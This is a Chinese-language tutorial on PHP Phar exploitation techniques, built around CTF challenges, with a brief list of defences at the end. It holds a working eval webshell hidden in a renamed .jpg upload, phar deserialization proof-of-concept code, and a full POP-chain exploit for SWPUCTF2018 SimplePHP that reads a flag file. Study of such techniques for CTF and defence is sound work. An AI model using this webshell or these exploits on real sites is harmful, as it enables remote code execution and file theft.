Phar的一些利用姿势
字数 1202 2025-08-27 12:33:48
Phar文件利用技术详解
1. Phar文件概述
Phar(PHP Archive)是一种将多个PHP文件组合成单个归档文件的格式。主要特点包括:
- 可以将完整的PHP应用程序打包为单个文件
- 无需解压即可直接执行
- 支持通过phar://伪协议访问
2. 利用姿势一:绕过上传限制
2.1 基本原理
利用phar://伪协议可以绕过一些上传WAF,通常与文件包含漏洞结合使用。
2.2 利用步骤
- 创建恶意PHP文件(如test.php)
<?php @eval($_POST["cmd"]); ?>
- 将文件压缩为ZIP格式
- 修改文件后缀为允许的格式(如.jpg)
- 通过文件包含执行
<?php include('phar://./test.jpg/test.php'); ?>
2.3 实战案例:安恒11月月赛image_up
- 上传限制:仅允许jpg/png/gif/jpeg
- 利用方法:
- 将PHP文件压缩后改后缀为.jpg上传
- 通过phar://协议包含执行
/index.php?page=phar://./uploads/6b19a5399b7d34fbb3c509ca8c25fd89.jpg/1 - 注意点:需考虑时间戳时区问题(+8小时)
3. 利用姿势二:Phar反序列化漏洞
3.1 漏洞原理
当使用phar://协议读取phar文件时,会自动反序列化manifest中的meta-data信息。
3.2 Phar文件结构
- stub:必须以
<?php __HALT_COMPILER(); ?>结尾 - manifest:包含文件元信息,meta-data会以序列化形式存储
- file contents:实际文件内容
- signature:签名验证
3.3 基本利用方法
- 创建包含恶意meta-data的phar文件
<?php
class Test {
public $test = "test";
}
@unlink("test.phar");
$phar = new Phar("test.phar"); // 后缀必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Test();
$phar->setMetadata($o); // 存储序列化数据
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
- 触发反序列化
<?php
class Test {
function __destruct(){
echo "test";
}
}
file_get_contents("phar://./test.phar/test.txt");
?>
3.4 利用条件
- 能够上传phar文件(可修改后缀绕过)
- 存在可利用的魔术方法
- 文件操作函数参数可控
3.5 实战案例:SWPUCTF2018 SimplePHP
漏洞分析
- 文件上传功能:限制为图片格式
- 文件读取功能:使用
file_exists()检查文件 - 目标:读取f1ag.php
POP链构造
- 入口点:
C1e4r::__destruct() - 触发toString:将对象作为字符串输出
- 触发get:访问不存在属性
- 最终执行:
Test::file_get_contents()
EXP编写
<?php
class C1e4r {
public $test;
public $str;
}
class Show {
public $source;
public $str;
}
class Test {
public $file;
public $params = array();
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$fun1 = new C1e4r();
$fun2 = new Show();
$fun3 = new Test();
$fun3->params['source'] = "/var/www/html/f1ag.php";
$fun2->str = array('str' => $fun3);
$fun1->str = $fun2;
$phar->setMetadata($fun1);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
利用步骤
- 上传构造的phar文件(改后缀为.jpg)
- 通过phar://触发反序列化
file.php?file=phar://./upload/[md5].jpg
4. 防御措施
- 禁用phar扩展(不推荐)
- 限制phar://协议的使用
- 对上传文件进行严格检查(内容而非扩展名)
- 避免危险的文件操作函数与用户输入直接结合
- 使用
phar.intercept_filetype限制phar文件类型
5. 关键点总结
- 文件上传绕过:phar本质是压缩包,修改后缀可绕过扩展名检查
- 反序列化触发:任何文件操作函数+phar://都可能触发
- POP链构造:需分析可用魔术方法和类关系
- 实战注意:时区、路径、过滤规则等细节需考虑
通过深入理解phar文件结构和PHP反序列化机制,可以灵活运用这些技术进行安全测试和漏洞利用。